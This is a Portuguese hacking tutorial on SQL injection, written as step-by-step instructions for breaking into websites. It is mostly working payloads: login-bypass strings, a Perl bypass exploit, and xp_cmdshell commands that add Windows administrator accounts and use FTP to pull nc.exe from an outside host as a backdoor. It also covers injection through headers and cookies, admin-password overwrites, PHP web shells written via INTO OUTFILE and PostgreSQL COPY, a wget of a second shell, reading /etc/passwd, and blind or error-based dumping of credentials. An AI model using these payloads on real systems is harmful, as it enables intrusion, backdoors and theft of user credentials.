    ‘ or ’1
    ‘ or ‘|
    ‘ or ‘a’='a
    ‘ or ”=’
    ‘ or 1=1–
    ‘) or (‘a’='a
    ‘ or ’1′=’1
    ‘ ou 0=0 #
    “ou 0=0 #
    ou 0=0 #
    ‘ ou ‘ x’='x
    “ou” x”=”x
    ‘) ou (‘ x’='x
    “ou” a”=”a
    ‘) ou (‘ a’='a
    “) ou (“a”=”a
    hi “ou” a”=”a
    hi “ou 1=1 –
    ‘ ou 1=1 –
    “ou 1=1 –
    ou 1=1 –
    ‘ ou a=a –
    ‘ ou 1=1 –
    “ou 1=1 –
    ou 1=1 –
    ‘ ou a=a –
  • Agora para previnir esta vul muitos admins recorreram a função addslashes() ou a magic_quotes_gpc mas ainda rola burlar estas funções que consistem basicamente em add uma \ antes das aspas nos métodos GET , POST e COOKIE a cada requisição.
  • Porém ainda existe uma falha constante feita no codificação aonde os caracteres \xbf\x27 são interpretados como single-byte assim liberando o single-quotes.
  • Outra forma seria injetar um comando que force a db durmir por 15 sec.
  • Um exploit feito em perl que faz o bypass desta vul pelo método do single-byte seria:
  • #!/usr/bin/env perl
     
    use common::sense;
    use WWW::Curl::Easy;
     
    sub cURL {
    my ( $url, $header, $post ) = @_;
    my $curl = WWW::Curl::Easy->new;
    $curl->setopt( CURLOPT_HEADER,         $header // 0 );
    $curl->setopt( CURLOPT_NOBODY,         $header // 0 );
    $curl->setopt( CURLOPT_URL,            $url );
    if(defined $post) {
    $curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
    $curl->setopt( CURLOPT_POST,          1 );
    $curl->setopt( CURLOPT_POSTFIELDS,    $post );
    }
    my $r;
    $curl->setopt( CURLOPT_WRITEDATA, $r );
    return ( $curl->perform == 0 ) ? $r : 0;
    }
     
    my $xpl = '\' or \'1\'=\'1';
    $xpl =~ s/x27/chr(0xbf).chr(0x27)/ge;
    say cURL('http://site.com/admin', 1, 'user=site&passwd=' . $xpl);
  • Ou se preferier metodo manual seria:
  • http://site.com/admin.asp?user=site$passwd=%bf%27'or%20'1='1
  • Agora o método de mandar a database dumir por 15 sec seria o seguinte:
  • http://site.com/admin.asp?max=0+and+sleep(15)
Sql Injection em Windows
  • Se vc achar uma vul sql injection em um windows aonde o site utilize uma conta sa é possivel add um administrador e logar por remote desktop ou ainda upar uma backdoor no server.
  • Ok então vamos lá :
  • Site vul: www.site.com/vul.asp?id=1'
    Mcft OLE DB Provider for ODBC Drivers error '80040e14' 
    [Mcft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
  • Agora vc precisa verificar se o site está com o user "sa" da seguinte maneira:
  • Url:http://site.com/vul.asp?id=system_user--
    [Mcft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'sa' to a column of data type int.
  • Ok então está com um conta *sa* então rola continuar , agora devemos criar uma tabela com os compas e armazenar o ip do server na tabela sin da seguinte manieira:
  • Url:http://site.com/vul.asp?id=1;drop table sin create table sin (id int identity,nd varchar(1000)) insert into sin exec master..xp_cmdshell 'ip config'--sp_password
  • Agora pegaremos o ip com o seguinte comando:
  • Url:http://site.com/vul.asp?id=convert(int,(select top 1 nd from sin where id=1)) --sp_password
    Mcft OLE DB Provider for SQL Server error '80040e07' 
    Syntax error converting the varchar value ' ' to a column of data type int.
  • Ok, como podemos ver aqui com o id=1 não rolou aparecer o ip então vc deverá mudar pra id=2 ou id=3 e ir continuando até conseguir achar , quando achar aparecerá o seguinte:
  • Mcft OLE DB Provider for SQL Server error '80040e07' 
    Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : xxx.xxx.xxx.xxx ' to a column of data type int.* 
        Feito isto utilizamos um port scan para verificar quais portas estão abertas:
        *root@CyberHats:~# nmap xxx.xxx.xxx.xxx
    
    Discovered open port 21/tcp on xxx.xxx.xxx.xxx 
    Discovered open port 443/tcp on xxx.xxx.xxx.xxx 
    Discovered open port 80/tcp on xxx.xxx.xxx.xxx 
    Discovered open port 3389/tcp on xxx.xxx.xxx.xxx
  • Ok, então vamos lá agora dá pra upar uma backdoor pelo telnet ou entao criar uma conta admin para vc se conectar por remote desktop assim:
  • Url:http://site.com/vul.asp?id=1;exec master..xp_cmdshell 'net user sin 123456 /add'--sp_password;exec master..xp_cmdshell 'net localgroup administrators sin /add'--sp_password
  • Este comando criou no grupo de administradores uma conta com username 'sin' e password '123456' agora basta vc logar por remote desktop colocar o ip do server user 'sin' e pass '123456' pronto vai estar logado ;)
  • Pra upar a backdoor pelo ftp vc pode utilizar o seguinte comando :
  • http://site.com/vul.asp?id=exec master..xp_cmdshell 'echo open ftp.site.com > c:\ftp' --sp_password;exec master..xp_cmdshell 'echo user username >> c:\ftp'--sp_password;exec master..xp_cmdshell 'echo password >> c:\ftp'--sp_password;exec master..xp_cmdshell 'echo get nc.exe >> c:\ftp'--sp_password;exec master..xp_cmdshell 'echo quit >> c:\ftp'--sp_password;exec master..xp_cmdshell 'ftp -i -n -v -s:c:\ftp'--sp_password;exec master..xp_cmdshell 'del c:\ftp'--sp_password
  • E pronto backdoor upada é bem simples qualquer um que entenda o basico de rce e de sql injection consegue entender os comandos e fazer seus proprios métodos apartir desta explicação, existe varias coisas que dá pra fazer só usar a criatividade :)
Sql Injection em User-Agent
  • O sql injection no user agent é um técnica pouco utilizada mas é muito util e possui em bastantes sites tops vc pode usar o tamper date ou algum aplicativo em browsers para mandar as requests ele funciona da mesma maneira que o sql injection manual a unico diferença é que a injeção será no user-agent com o tamper date é mais facil e mais rapido mas para demonstrar aqui preferir usar o telnet.
  • A unica coisa que vc vai fazer é alterar o user-agent, tipo imagine o seguinte user agent Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201 tudo que vc irá fazer é subistituir este user-agent pelos comandos do sql manual da seguinte maneira:
  • root@CyberHats:~# telnet xxx.xxxxxxxxxx.xxx.xx 80
    Trying xxx.xxx.xxx.xxx...
    Connected to xxx.xxx.xxx.xxx.
    Escape character is '^]'.
    GET /index.php HTTP/1.1
    Host: xxx.xxxxxxxxxx.xxx.xx
    User-Agent: ' union select 1-- --
  • Após isto se o website estiver vul vai mostrar o erro, se vc fizer pelo tamper date o erro aparece no proprio browser e vai ser facil de identificar agora se for pelo telnet fica mais foda identificar pq vai mostrar o source-code da page por isto recomendo pelo tamper date que é bem mais rapido e eficiente pelo tamper é a mesma coisa só trocar o user-agent pelos comandos do sql injection manual e já era ;)
  • Ou então utilizar o burpsuite.
Sql Injection em Cookies
  • O sql injection nos cookies é bem parecido com o do user-agent só que no lugar de vc injetar no user-agent vc vai injetar no cookie assim como o metodo do user-agent é bem pouco utilizado e tem bastantes sites vuls este tb, então vamos lá o que vc irá fazer é utilizar o tamper date pra pegar os cookies da page ou algum outro metodo para ver os cookies então assim como no user-agent tu manda um request é bem simples:
  • Imagina que vc pegou o cookie da sua pagina e ele é tipo assim:
  • user_session=ckjs34fsdkj455ygdman3:language_id=1
  • Para vc verificar se o site está vul a cookie sql injection basta colocar ' no final e verificar se dá erro igual o user-agent, assim:
  • root@CyberHats:~# telnet xxx.xxxxxxxxxx.xxx.xx 80
    Trying xxx.xxx.xxx.xxx...
    Connected to xxx.xxx.xxx.xxx.
    Escape character is '^]'.
    GET / HTTP/1.1
    Connection: Keep-Alive
    Keep-Alive: 300
    Accept: /
    Host: xxx.xxx.xxx.xxx
    Accept-Language: en-us
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
    rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
    Cookie: user_session=ckjs34fsdkj455ygdman3:language_id=1 ' union select 1-- -- <-- aqui tu manda os comandos ;)
  • Simples assim.
Sql injection no X-Forwarded-For
  • O X-Forwarded-For é um header field que identifica endereços ip a injeção neste header field é praticamente igual a dos cookies e a do user-agent se a variavel HTTP_X_FORWARDED_FOR estiver mal programada é possivel inserir comandos SQL.
  • root@CyberHats:~# telnet xxx.xxxxxxxxxx.xxx.xx 80
    Trying xxx.xxx.xxx.xxx...
    Connected to xxx.xxx.xxx.xxx.
    Escape character is '^]'.
    GET /admin/index.php HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    X_FORWARDED_FOR :127.0.0.1' or 1=1#
  • O exemplo acima verificaria se o server está vul caso vc receba algum erro do banco de dados o site é vul então bastaria mandar as injeções no x forwarded for por exemplo:
  • root@CyberHats:~# telnet xxx.xxxxxxxxxx.xxx.xx 80
    Trying xxx.xxx.xxx.xxx...
    Connected to xxx.xxx.xxx.xxx.
    Escape character is '^]'.
    GET /admin/index.php HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    X_FORWARDED_FOR :127.0.0.1'+and+0+order+by+1--+#
  • E pronto vc está injetando pelo header field X-Forwarded-For.;)
Manipulando Database por SQL Injection (MYSQL)
  • Bom, além dos métodos apresentados sobre SQL Injection como segunda opção caso você não consiga logar por diversos motivos inclusive o principal é a encriptação da password da senha do administrador não ser quebrada...
  • Vamos apresentar mais um método pra noix:
  • Podemos adicionar mais um login ou até mesmo alterar a password do administrador...
  • COMANDO INSERT(Adicionando uma conta inexistente):
  • 1- Devemos exploitar o sqli normalmente e identificar as colunas e a tabela do administrador...
  • 2- Supomos que o nome da tabela admin é: admin_login
  • 3- E tambem que as colunas da tabela admin_login são:
  • Table:admin_login
    Columns:
    +-----------+
    | id        |
    | login     |
    | senha     |
    +-----------+
  • 4- Sabendo destes dados podemos utilizar a seguinte query para adicionar um novo login:
  • http://site.com/index.php?id=1; INSERT INTO admin_login (id,login,senha) values ('10','admin2','21232f297a57a5a743894a0e4a801fc3')--  ~~> com a senha encriptada em MD5
  • CASO NÃO FUNCIONE O PRIMEIRO INSERT...:
  • http://site.com/index.php?id=1; INSERT INTO admin_login (id,login,senha) values ('10','admin2','admin')-- ~~> com a senha em texto comum
  • Após isto é só logar normalmente com seu login, caso não aceite podem existir outras páginas de adminstração...
  • COMANDO UPDATE(Editando uma conta existente):
  • Mas as vezes a conta criada não é o admin e não possue privilégios para o objetivo que você deseja (webshell,redirect...).
  • Para isto podemos então certificar de que iremos acessar uma conta que possue privilégio máximo, Sim ! vamos editar os dados no banco de dados do administrador:
  • Vamos precisar de:
  •  ID do administrador
     Tabela dos logins (Ex:admin_login)
     colunas da tabela dos logins (Ex:
    +-----------+---------------------------------+
    | id        | 1                               |
    | login     | admin                           |
    | senha     | 21232f297a57a5a743894a0e4a801fc3|
    +-----------+---------------------------------+
  • Depois do necessário em mãos, vamos editar !
  • Para isto utilizaremos o comando UPDATE, que serve para editar dados já existentes:
  • http://site.com/index.php?id=1; UPDATE admin_login set login='admin',senha='21232f297a57a5a743894a0e4a801fc3' where id=1--
  • CASO NÃO FUNCIONE O PRIMEIRO UPDATE...:
  • http://site.com/index.php?id=1; UPDATE admin_login set login='admin',senha='admin' where id=1--
  • Bom nós editamos o login com o nome já existente, isto não é necessário, fiz isto somente por questão de organização. Vocês poderia ter feito a alteração sem o login='admin' :
  • http://site.com/index.php?id=1; UPDATE admin_login set senha='21232f297a57a5a743894a0e4a801fc3' where id=1--
Leitura/Escrita SQLI
  • Checando se o usuário possue permissão de escrita
  • Vamos usar a seguinte query no ID vulnerável para verificar se pssuímos permissão de escrita/leitura:
  • select file_priv from mysql.user where user='username' --> onde username deve ser encriptado em Hex (estou usando para isto a hack bar)
    http://www.site.com/index.php?id=-1+union+select+1,group_concat(file_priv)+from+mysql.user where user=0x637365
  • Sendo:
  • user=0x637365 == user=username
  • Ou entao uma query mais didática e simples seria:
  • http://www.site.com/index.php?id=-1+union+select+1,group_concat(user,0x3a,file_priv),3,4+from+mysql.user--
  • Enfim,fica a critério do pentester, caso a primeira não funcione teste a segunda...
  • Após verificar-mos se possuimos permissão de Leitura//Escrita, vamos pensar oque podemos apreveitar:
  • PERMISSÃO DE ESCRITA:
  • Podemos enviar uma WebShell para o alvo através da seguinte query:
  • SELECT 'CODIGO PEQUENO DA SHELL AQUI ' INTO OUTFILE '/var/www/webshell.php'
  • SELECT: Devemos colocar o código da shell aqui, no qual geralmente usamos comando system do php como webshell.
  • INTO OUTFILE: Aqui devemos colocar o diretório em que o site se encontra, geralmente podemos ver o diretorio no Debug do error SQLI na própria pagina vulnerável do site.
  • OBS: Ou então você pode usar um magic_quote para retornar o patche: union select 1,";--
  • Ficando deste modo:
  • http://www.site.com/index.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/webshell.php "
  • OBS_01: O Uso do Aspas " e do apóstrofe ' é para criar uma maior gama de possibilidades caso os apóstrofes ' não funcionem, é bom testar aspas comum ".
  • OBS_02: Caso o site esteja hospedado em um servidor windows eu recomendo utilizar duas barras invertidas no patche: INTO OUTFILE "C:\\host\\htdocs\\shell.php";--
  • Depois é só acessar a su WebShell e baixar através dela um outra webshell mais amigável:
  • http://www.site.com/webshell.php?cmd=wget www.site.com/suashell.txt; mv suashell.txt shell.php
  • PERMISSÃO DE LEITURA
    • Bom vamos aproveitar que temos a permissão de leitura tambem para fazer um SQL Injection to LFI...
    • Podemos visualizar o arquivo /etc/passwd onde fica as passwords e os patches de todos os usuários registrados no sistema do linux.
    • Através da seguinte query:
    +union+select+1,LOAD_FILE(0x2f6574632f706173737764)--  /(CODIFICAÇÃO EM HEX)/
    +union+select+1,LOAD_FILE(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100))--   /(CODIFICAÇÃO EM CHAR)/
    • OBS:Caso não aceite o patche do passwd em string normal, devemos encriptar em Hex ou ate mesmo para CHAR...
    • Onde o /etc/passwd esta codificado em Hex dentro do parenteses do comando LOAD_FILE
    • Através disto podemos fazer um reverse ip procurar por sites do servidor que possuam Wordpress ou Joomla e tentar pegar os arquivos de configuração de database dos mesmos (wp-config.php && configurate.php)
SQLI to RDP
  • Adicionando Administrador RDP (Remote Dektop Protocol) BY Shell SQL Injection (system)
  • Nós upamos a webshell.php em um site que está hospedado em windows e tambem através do comando user(), verificamos que somos o usuário root ou admin ou administrador, tanto faz o nome...
  • E sabemos que windows suporta o RDP, então vamos dar o comando:
  • 1- net users -> para saber quais usuários possuem no sistema
  • http://www.site.com/weshell.php?cmd=net users
  • 2- Agora vamos adicionar uma conta com privilégio máximo(root), para termos acesso ao RDP:
  • --> net user cyberhats/add
  • http://www.site.com/weshell.php?cmd=net user cyberhats/add
  • Resposta: "Comando completado com sucesso!"
  • 3- Agora vamos adicionar nosso novo usuario(cyberhats) que no momento não possue permissões no grupo de adminsitradores:
  • --> net localgroup administrators cyberhats/add
  • http://www.site.com/weshell.php?cmd=net localgroup administrators cyberhats/add
  • Resposta: "Comando completado com sucesso!"
  • 4- Vamos verificar se o nosso usuário foi incluso com sucesso:
  • --> net users
  • http://www.site.com/weshell.php?cmd=net users
  • Nesta fase o nosso usuário criado deverá aparecer...
  • PRONTO ! Usuário adicionado...
SQLI em base64
  • SQL Injection em url's com ID codificado em base 64
  • Existem alguns administradores que utilizam de certas técnicas para tentar barrar a injeção de querys SQL devido a vulnerabilidade de seu website.
  • Uma destas técnicas utilizadas por alguns CMS é colocar o id em codificação em base 64.
  • Como no exemplo a seguir:
  • http://www.site.com/index.php?id=MTU=
  • Podemos verificar que esta encodado em base 64(sem auxilio de decoders online) pelo fato de possuir o caractere = que é peculiar neste tipo de codificação.
  • Após isto podemos verificar normalmente se o site é vulnerável a injeção SQL:
  • http://www.site.com/index.php?id=MTU='
  • Responde o seguinte na página:
  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax ..... (VULNERÁVEL)
  • OBS: Podemos ver se está vulnerável ou não tambem se a página ficar blank, ou seja totalmente branca, isto é uma suspeita de vulnerabilidade.
  • Bom, vamos exploitar:
  • 1- Iremos precisar de uma ferramente online com conversão para base64 (www.base64encode.org)
  • 2- O método utilizado para exploit é o mesmo de um UNION BASED mas a diferença é que temos que encriptar nossas querys para o site aceitá-las.
  • 3- Testando quantidade de colunas, vamos usar group by para determinar a quantidade, em uma requisição sem codificação ficaria :
  • group by  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50
  • Mas agora vamos no site de codificar base64(www.base64encode.org) e colamos esta string para que o site aceite..
  • Obtivemos o seguinte resultado:
  • MTUrZ3JvdXAgYnkgIDEsMiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDE5LDIwLDIxLDIyLDIzLDI0LDI1LDI2LDI3LDI4LDI5LDMwLDMxLDMyLDMzLDM0LDM1LDM2LDM3LDM4LDM5LDQwLDQxLDQyLDQzLDQ0LDQ1LDQ2LDQ3LDQ4LDQ5LDUw=
    http://www.site.com/index.php?id=MTUrZ3JvdXAgYnkgIDEsMiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDE5LDIwLDIxLDIyLDIzLDI0LDI1LDI2LDI3LDI4LDI5LDMwLDMxLDMyLDMzLDM0LDM1LDM2LDM3LDM4LDM5LDQwLDQxLDQyLDQzLDQ0LDQ1LDQ2LDQ3LDQ4LDQ5LDUw=
  • Recebemos o seguinte....
  • Unknow column '11'* 
        --> Ou seja, o site possue 10 colunas (sempre uma anterior ao resultado exibido, pois o erro ocorreu em 11,ou seja ela não existe.)
        4- Verificando qual coluna está vulnerável:
        *UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
  • Codificando ficaria:
  • http://www.site.com/index.php?id=MTUrVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1=
  • Recebemos a resposta de que a 3 coluna esta vulnerável, apartir deste ponto o método de exploração é igual ao tutorial de sql injection em union base
  • BYPASS Para a Injeção
  • Caso tenha um WAF no site ele ira bloquear a sua requisição UNION SELECT, mas podemos usar vários bypass com o detalhe de que devemos encriptar em base 64 antes de enviar ao site.
  • Vamos a um exemplo:
  • http://www.site.com/index.php?id=15+/*!12345UnIon*/+/*!12345SelEct*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
    MTUrLyohMTIzNDVVbklvbiovKy8qITEyMzQ1U2VsRWN0Ki8rMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTU=
  • Ficando...
  • http://www.site.com/index.php?id=MTUrLyohMTIzNDVVbklvbiovKy8qITEyMzQ1U2VsRWN0Ki8rMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTU=
Error Based SQLI
  • Usa-se este tipo de injeção em casos raros e peculiares, podendo assim ser chamado de Double Query SQLI
  • Para identificar quando usaremos este tipo de injeção deve-se obsservar os seguintes errors na hora da injeção UNION:
  • 1) ERROR #1604
  • 2) The used select Statements have Different Number of Columns
  • 3) Unknow Column 1 or no Columns at all(in webpage or page source)
  • e todos os outros errors relacionados ao UNION...
    • Vamos apresentar as strings para oter informações:
    • PS:Neste tipo de versão não precisa colocar a string dentro da tablea vulnerável, a string de xploit se coloca logo após o ID vulnerável...
  • VERSAO:
  • or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--
  • DATABASES:
  • and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • ==> limit N,1: altere o N para ir vendo as databases existentes..
    • EX:
    and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    • SUPONHAMOS QUE ACHAMADO A DB: site_db
  • TABLES:
  • and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • ==> limit N,1: altere o N para ir vendo as tabelas existentes..
  • EX:
  • and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • BOM... Supomos que alterando os valores do LIMIT, você achou a tabela chamada users
  • Agora vamos extrair as colunas desta tabela
  • COLUMNS:
  • and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • PS: Onde esta escrito TABLEHEX vamos usar a toolbar HACK BAR para converter nossa tabela em hex...
  • users ==> 7573657273 
  • temos de deixar 0x, ficando: 0x7573657273
  • and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • ==> limit N,1: altere o N para ir vendo as tabelas existentes.. EX:
  • and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • Suponhamos que achamos as colunas: admin,senha
  • DUMP INFORMATIONS:
  • and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME_1,0x7e,COLUMN_NAME_2) as char),0x7e)) from DATABASENAME.TABLENAME limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • Devemos alterar os seguintes campos:
  • COLUMN_NAME_1 && COLUMN_NAME_2 admin && senha
    DATABASENAME site_db
    TABLENAME users
    limit N,1 1,1
  • Ficando....
  • and (select 1 from (select count(*),concat((select(select concat(cast(concat(admin,0x3a,senha) as char),0x3a)) from site_db.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • Pronto ! Agora se você quiser mais dados só ir alterando o LIMIT, caso tenha, irá aparecer ;)
PostgreSQL Injection
  • Então, PostgreSQL de forma genérica a injeção é bem similar ao Based UNION mas com algumas alterações(Exceto PostgreSQL Based Error)
  • http://www.site.com/code?id=10'  ERROR !
    order by 1-- NO ERROR
    order by 2-- N0 ERROR
    order by 3-- ERRO !!!
    http://www.site.com/code?id=10 union select NULL,NULL <-- se ir normal é porque não é based error e é postgresql.
  • 1º- Pegando versão:
  • http://www.site.com/code?id=10 union select NULL,VERSION()
  • ou
  • http://www.site.com/code?id=-10 union select NULL,VERSION()
  • 2º- Pegando o Current-DB:
  • http://www.site.com/code?id=-10 union select NULL,CURRENT_DATABASE()
  • 3º- Nome de todas as databases:
  • http://www.site.com/code?id=-10 union select NULL,datname from pg_database
  • 4º- Pegando Tabelas de alguma DB:
  • http://www.site.com/code?id=-10 union select NULL,tablename from pg_tables where schemaname='NOME_DA_DATABASE'
  • 5º- pegando Colunas de alguma TABLE:
  • http://www.site.com/code?id=-10 union select NULL,column_name from information_schema.columns where table_name='NOME_DA_TABELA'
  • 6º- DUMP DAS INFORMAÇÕES !!
  • http://www.site.com/code?id=-10 union select NULL,COLUNM1||':'||COLUNM2||':'||COLUNM3 from DB_NAME.TABLE_NAME
Upando Shell via sql injection(PostgreSQL)
  • Após estudar-mos sobre a injeção básica e o Based Error, vamos ver como upar uma backdoor através de uma vulnerabilidade de SQL Injection em banco de dados PostgreSQL:
  • PS: Vamos utilizar a mesma injeção do tutorial passado sobre Injeção básica em PostgreSQL, oque será utilizado já é o DUMP de informações, mas nos iremos encerrar a query e colocar o comando para uparmos a nossa backdoor, como se fosse o INTO OUTFILE do UNION BASED...
  • 1º- aproveitar o DUMP de informações, encerrar a query e mandar o comando de upload:
  • http://www.site.com/code?id=-10 union select NULL,COLUNM1||':'||COLUNM2||':'||COLUNM3 from DB_NAME.TABLE_NAME
  • Código de upload:
  • Copy(select '<?php system($_REQUEST['cmd']);?>') to 'C:\www\site\shell.php';
  • Ficando:
  • http://www.site.com/code?id=-10 union select NULL,COLUNM1||':'||COLUNM2||':'||COLUNM3 from DB_NAME.TABLE_NAME;Copy(select '<?php system($_REQUEST['cmd']);?>') to 'C:\www\site\shell.php';
  • Você irá precisar do diretório do site, oque em muitas vezes os debug de error sql em PostgreSQL nos mostram..
  • Ps: Agora é so acessar no dir onde está upado a sua backdoor...
  • http://www.site.com/shell.php?cmd=ipconfig
  • SUCESSS !!!
PostgreSQL (Based Error)
  • Agora vamos para mais um tipo de SQLInjection:
  • PostgreSQL, Para este tuto vamos utilizar hackbar para converter mais para frente INT em CHR (Oracle):
  • Bom, não existe um erro específico para postgresql, então quando você colocar o apóstrofe('), basta ler a mensagem de error, caso nela contenha algo relacionado a palavra postgresql error, podemos usar este método:
  • 1º- Vamos pegar a versão da SGDB (db postgresql):
  • http://www.site.com/code.php?id=10 and 1=cast((select version())::text as int)--
  • PS: O método de ler as informações é o mesmo de mssql, irá aparecer as info no próprio debug de error...
  • 2º- Pegando a quantidade de Databases:
  • http://www.site.com/code.php?id=10 and 1=cast( (CHR(60)) ||(select count(*) from information_schema.schemata)::text as int)--
  • 3º- Pegando o current-db:
  • http://www.site.com/code.php?id=10 and 1=cast((select current_schema())::text as int)--
  • 4º- Pegando todas as Databases:
  • http://www.site.com/code.php?id=10 and 1=cast((select schema_name from information_schema.schemata limit 1 offset 0)::text as int)--
  • Irá aparecer o nome de uma das databases, para pegar as outras você terá de ir alternando o número do offset, ele serve como se fosse um LIMIT no based UNION:
  • --offset 1
    --offset 2
    --offset 3
  • E assim sucessivamente...
  • http://www.site.com/code.php?id=10 and 1=cast((select schema_name from information_schema.schemata limit 1 offset 1)::text as int)--
    http://www.site.com/code.php?id=10 and 1=cast((select schema_name from information_schema.schemata limit 1 offset 2)::text as int)--
  • 5º- Agora vamos pegar as tabelas da database desejada:
  • PS: Você deve codificar o nome da database em CHR da Oracle, a tool HackBar faz isto bem rápido...
  • Supondo que a database seja: db_site
  • http://www.site.com/code.php?id=10 and 1=cast((select table_name from information_schema.tables where table_schema=CHR(100) || CHR(98) || CHR(95) || CHR(115) || CHR(105) || CHR(116) || CHR(101) limit 1 offset 0)::text as int)--
  • Lembrando que devemos alterar o offset como feito para pegar o nome da databases:
  • --offset 1
    --offset 2
  • 6º- Pegando as colunas:
  • Precisamos saber o nome da tabela e database, então supomos que a database é db_site e a tabela é admin
  • PS: Deve-se codificar os dois nomes em CHR-Oracle
  • http://www.site.com/code.php?id=10 and 1=cast((select column_name from information_schema.columns where table_schema=CHR(100) || CHR(98) || CHR(95) || CHR(115) || CHR(105) || CHR(116) || CHR(101) and table_name = CHR(97) || CHR(100) || CHR(109) || CHR(105) || CHR(110) limit 1 offset 0)::text as int)--
  • Mesmo esquema com o offset...
  • 7º- Finalmente, DUMP das info !
  • Precismos saber o nome da db,tabela,coluna:
  • db:db_site
    table:admin
    coluna:login,senha
    http://www.site.com/code.php?id=10 and 1=cast((select NOME_COLUNA from NOME_DB.NOME_TABELA)::text as int)--
  • Ficando:
  • http://www.site.com/code.php?id=10 and 1=cast((select login from db_site.admin)::text as int)--
    http://www.site.com/code.php?id=10 and 1=cast((select senha from db_site.admin)::text as int)--
Blind SQLI MySQL
  • O Sql injection em blind é um método de invasão que não se parece muito com o método comum pois este é mais chato que o normal, isto se deve ao fato que nós perguntamos para o servidor sobre determinados dados e ele nos retorna se é verdadeiro ou falso.
  • Esta resposta de verdadeiro ou falso pode ser feito através da página, vamos aprender a verificar se é vulnerável ou não a blind:
  • VERIFICANDO(SE É VULNERÁVEL):
  • http://www.site.com/news.php?id=5 and 1=1 <- carrega normalmente
    http://www.site.com/news.php?id=5 and 1=2 <- Algum defeito na página = VULNERÁVEL
  • VERSÃO:
  • http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
  • Modifique o 4 para 5 para saber se a versão é 5.. Caso não der alteração na página é sinal de Verdadeiro.
  • http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
  • VERIFICANDO SUBSELECT:
  • http://www.site.com/news.php?id=5 and (select 1)=1
  • Se carregar normalmente funciona...
  • MYSQL.USER:
  • http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
  • Se carregar normalmente nós temos acesso ao mysql.user, ao load_file e ao OUTPUT
  • ADIVINHANDO TABELAS:
  • http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
  • Se carregar normalmente é porque existe, e assim testamos de acordo com sua imaginação !
  • wp-users,webuser,user,login,admin,adm,administrator,etc...
  • ADIVINHANDO COLUNAS:
  • http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
  • Aqui sugerimos que a coluna se chama password. pois ja sabemos que a tabela é users...
  • Se carregar normalmente existe esta coluna.
  • EXTRAINDO DADOS:
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
  • RESPOSTA VERDADEIRA CONTINUAMOS INCREMENTANDO
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
  • RESPOSTA VERDADEIRA CONTINUAMOS INCREMENTANDO
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
  • FALSO!!!
  • Então o primeiro caractere de username é char(99). usando a tabela ascii sabemos que char(99) é a letra 'c'.
  • Vamos checaar a segunda letra
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
  • NOTEM QUE AGORA EU MUDEI DE 1,1 PARA 2,1 PARA ACHARMOS O SEGUNDO CARACTERE
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
  • RESPOSTA VERDADEIRA CONTINUAMOS INCREMENTANDO
